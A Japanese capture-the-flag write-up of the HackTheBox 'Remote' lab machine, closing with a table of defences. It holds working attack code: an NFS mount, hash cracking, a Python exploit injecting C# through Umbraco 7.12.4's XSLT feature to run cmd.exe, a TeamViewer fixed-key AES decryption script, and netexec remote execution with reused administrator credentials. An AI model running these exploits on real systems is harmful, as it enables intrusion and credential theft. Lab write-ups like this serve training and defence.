HackTheBox: Remote — 全実行コマンド・実行結果レポート
Nmap スキャン
21/80/135/139/445/2049/5985
→
21/80/135/139/445/2049/5985
NFS /site_backups
認証無しマウント
→
認証無しマウント
Umbraco.sdf 抽出
admin SHA1ハッシュ
→
admin SHA1ハッシュ
john –format=Raw-SHA1
baconandcheese
→
baconandcheese
Umbraco 7.12.4 XSLT RCE
EDB-46153
→
EDB-46153
IIS apppool シェル
user.txt ✓
→
user.txt ✓
TeamViewer 7 レジストリ
SecurityPasswordAES
→
SecurityPasswordAES
AES-128-CBC復号
CVE-2019-18988 → !R3m0te!
→
CVE-2019-18988 → !R3m0te!
パスワード再利用
administrator (Pwn3d!)
→
administrator (Pwn3d!)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -T4 -p 21,80,135,139,445,2049,3389,5985,8080 10.129.230.172
RESULT
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2049/tcp open nfs 3389/tcp closed ms-wbt-server 5985/tcp open wsman
✅
ターゲット確認: NFS(2049)+SMB(445)+WinRM(5985)の組み合わせ、
そしてポート80のUmbraco CMSから HackTheBox Remote (Easy Windows)
と一致することを確認。
PHASE 2
NFS共有からUmbraco.sdfを回収 → SHA1ハッシュをクラック
NFSエクスポートの確認とマウント
BASH
showmount -e 10.129.230.172 sudo mount -t nfs -o vers=3 10.129.230.172:/site_backups /tmp/remote_nfs
RESULT
Export list for 10.129.230.172:
/site_backups (everyone)
$ ls -la /tmp/remote_nfs/
App_Data App_Plugins Config Media Umbraco Views Web.config bin ...
✅
/site_backupsは認証なしで全ユーザー(everyone)に公開されており、
Umbraco CMSのWebサイト全体(アプリケーションファイル一式)がそのままマウントできる。
NFS v3の明示指定(-o vers=3)が必要。
Umbraco.sdf から管理者ハッシュを抽出
BASH
sudo strings /tmp/remote_nfs/App_Data/Umbraco.sdf | grep -i "admin@htb"
RESULT
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.local...
ℹ️
Umbraco.sdfはUmbraco CMSが内部で使うSQL CEデータベースファイルで、
バイナリ形式のままでもstringsでユーザーテーブルのSHA1ハッシュが
平文に近い形で読み取れる。ハッシュアルゴリズムも{"hashAlgorithm":"SHA1"}
とJSON形式で隣接しており一意に識別できる。
john でのクラック
BASH
echo "b8be16afba8c314ad33d812f22a04991b90e2aaa" > hash.txt john hash.txt --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt john hash.txt --format=Raw-SHA1 --show
RESULT
?:baconandcheese
1 password hash cracked, 0 left
Umbraco管理者クレデンシャル
admin@htb.local : baconandcheese
PHASE 3
Umbraco 7.12.4 認証後XSLTインジェクションRCE (EDB-46153) → user.txt
攻撃原理
NOTE
Umbraco 7.12.4 のバックオフィス管理画面には開発者向けの「XSLT Visualize」機能 (/umbraco/developer/Xslt/xsltVisualize.aspx)があり、投入したXSLTをその場で 実行してプレビューできる。XSLTの <msxsl:script> 要素はC#コードをインラインで 記述できるため、System.Diagnostics.Process経由でcmd.exeを起動する関数を 埋め込めば、管理者としてログインした認証済みセッションでOSコマンド実行が 成立する(EDB-46153として公開済みの既知手法)。
ログイン → VIEWSTATE/XSRFトークン取得 → XSLT投入
PYTHON (requests + BeautifulSoup)
s = requests.session()
s.get(host + "/umbraco/")
s.post(host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin",
json={"username": "admin@htb.local", "password": "baconandcheese"})
r3 = s.get(host + "/umbraco/developer/Xslt/xsltVisualize.aspx")
soup = BeautifulSoup(r3.text, "html.parser")
viewstate = soup.find(id="__VIEWSTATE")["value"]
viewstategen = soup.find(id="__VIEWSTATEGENERATOR")["value"]
token = s.cookies["UMB-XSRF-TOKEN"]
payload = '''<?xml version="1.0"?><xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">
public string xml() {
string cmd = "/c <コマンド>"; // \\ は \\\\ に二重化必須
var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
return proc.StandardOutput.ReadToEnd();
}
</msxsl:script>
<xsl:template match="/"><xsl:value-of select="csharp_user:xml()"/></xsl:template>
</xsl:stylesheet>'''
r4 = s.post(url_xslt, data={
"__VIEWSTATE": viewstate, "__VIEWSTATEGENERATOR": viewstategen,
"ctl00$body$xsltSelection": payload,
"ctl00$body$visualizeDo": "Visualize+XSLT",
}, headers={"UMB-XSRF-TOKEN": token})
result = BeautifulSoup(r4.text, "html.parser").find(id="result").get_text()
⚠️
C#の文字列リテラル内でWindowsパスのバックスラッシュは
必ず二重化(
\\\\)する必要がある。単一の
\\のままだとXSLTパーサーが”Unrecognized escape sequence”で
エラーを返しRCEが失敗する。
RCE確認 & user.txt取得
BASH
python3 remote_rce.py "whoami" python3 remote_rce.py 'type C:\Users\Public\Desktop\user.txt'
RESULT
iis apppool\defaultapppool 016b53aba69f2d66f90214ca55976ca9
⚠️
ハマりポイント:
user.txtは
C:\Users\Public\直下ではなく
C:\Users\Public\Desktop\に置かれている。
user.txt — IIS apppool\defaultapppool 経由
016b53aba69f2d66f90214ca55976ca9
PHASE 4
TeamViewer 7 レジストリAES復号 (CVE-2019-18988) → root.txt
TeamViewerの暗号化パスワードをレジストリから取得
BASH
python3 remote_rce.py 'reg query HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7 /v SecurityPasswordAES'
RESULT
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TeamViewer\Version7
SecurityPasswordAES REG_BINARY FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
ℹ️
古いTeamViewer(バージョン7)は、リモートアクセスを許可するためにセットした
固定(個人用)パスワードをレジストリに
SecurityPasswordAESとして
AES暗号化で保存している。この値はCVE-2019-18988で指摘された
通り全バージョン共通の固定鍵/IVで暗号化されているため、
誰でも復号できる。
AES-128-CBC復号 (固定キー/IV)
PYTHON
from Crypto.Cipher import AES
key = bytes.fromhex('0602000000a400005253413100040000')
iv = bytes.fromhex('0100010067244F436E6762F25EA8D704')
enc = bytes.fromhex('FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B')
dec = AES.new(key, AES.MODE_CBC, iv).decrypt(enc)
print(dec.decode('utf-16-le').rstrip('\x00'))
RESULT
復号バイト列: b'!\x00R\x003\x00m\x000\x00t\x00e\x00!\x00\x00\x00...'
UTF-16-LE デコード後: !R3m0te!
ℹ️
復号結果はUTF-16-LE(1文字2バイト、Windows内部文字列の標準形式)
でエンコードされているため、デコード後に末尾のNULL埋めを取り除く必要がある。
パスワード再利用の確認 (administrator)
BASH
netexec smb 10.129.230.172 -u administrator -p '!R3m0te!'
RESULT
SMB 10.129.230.172 445 REMOTE [*] Windows 10 / Server 2019 Build 17763 x64 ...
SMB 10.129.230.172 445 REMOTE [+] remote\administrator:!R3m0te! (Pwn3d!)
✅
TeamViewerの個人パスワードがローカルAdministratorアカウントのパスワードと
同一に設定されていた(典型的なパスワード再利用の設定ミス)。
root.txt取得 (SYSTEM権限でのコマンド実行)
BASH
netexec smb 10.129.230.172 -u administrator -p '!R3m0te!' \ -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
SMB 10.129.230.172 445 REMOTE [+] remote\administrator:!R3m0te! (Pwn3d!)
SMB 10.129.230.172 445 REMOTE [+] Executed command via wmiexec
SMB 10.129.230.172 445 REMOTE e756bb4d55c6f71d228d4d9089e1ced6
root.txt — administrator (wmiexec経由、実質SYSTEM)
e756bb4d55c6f71d228d4d9089e1ced6
ℹ️
netexec(旧crackmapexec)の-xはWMI(wmiexec)経由で
コマンドを実行するため、ローカルAdministratorグループに属していれば
事実上SYSTEM相当の操作が可能。別解として、IIS apppoolの
SeImpersonatePrivilegeを使ったPrintSpooferでも同様にSYSTEM化できる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — IIS apppool\defaultapppool
016b53aba69f2d66f90214ca55976ca9
root.txt — administrator (TeamViewerパスワード再利用)
e756bb4d55c6f71d228d4d9089e1ced6
使用した脆弱性・設定ミス
| 脆弱性/設定ミス | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 認証なしNFS共有 | /site_backups (everyone) | Webアプリ内部ファイルの完全漏洩 | Critical | 認証無しマウントでUmbraco.sdf(DBファイル)を直接取得 |
| 弱いパスワードハッシュ | Umbraco admin (無ソルトSHA1) | 管理者アカウント乗っ取り | Medium | john + rockyou.txtで即時クラック (baconandcheese) |
| EDB-46153 認証後XSLT RCE | Umbraco CMS 7.12.4 | リモートコード実行 (IIS apppool) | Critical | XSLT Visualize機能に<msxsl:script>でC#コードを注入しcmd.exeを起動 |
| CVE-2019-18988 (TeamViewer固定AES鍵) | TeamViewer 7 レジストリ | ローカルアカウントのパスワード漏洩 | Critical | 全バージョン共通の固定鍵/IVでSecurityPasswordAESを復号 |
| パスワード再利用 | Administrator ⇔ TeamViewer | 権限昇格 (SYSTEM相当) | High | 復号したTeamViewerパスワードがローカルAdministratorと同一 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 21/80/135/139/445/2049/5985開放 |
| 2 | 情報漏洩 | NFSマウント + strings + john | admin@htb.local:baconandcheese |
| 3 | RCE | Umbraco XSLTインジェクション (EDB-46153) | user.txt、IIS apppoolシェル |
| 4 | 権限昇格 | TeamViewer AES復号 + パスワード再利用 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| NFS共有が認証無しで公開され、Webアプリ全体(DB含む)が読み取れる | NFSエクスポートは必要なクライアントIPに限定し、匿名(everyone)公開を禁止する。 |
| CMSのパスワードが無ソルトSHA1で保存されている | bcrypt/argon2等の遅延ハッシュ+ソルトを使用し、CMSを最新版に更新する。 |
| 既知の公開脆弱性(EDB-46153)が存在する旧バージョンのCMSを運用している | CMS/フレームワークのバージョンを定期的にパッチ適用し、管理画面を 外部公開しない(VPN/IP制限)。 |
| 古いTeamViewerの既知の固定鍵AES脆弱性(CVE-2019-18988) | TeamViewerを最新版へ更新し、不要な常駐リモートアクセスツールを サーバーにインストールしない。 |
| サードパーティツールのパスワードをローカル管理者パスワードと共用している | システムごと・用途ごとに異なる強固なパスワードを使用し、パスワード管理ツールで 一元管理する。 |

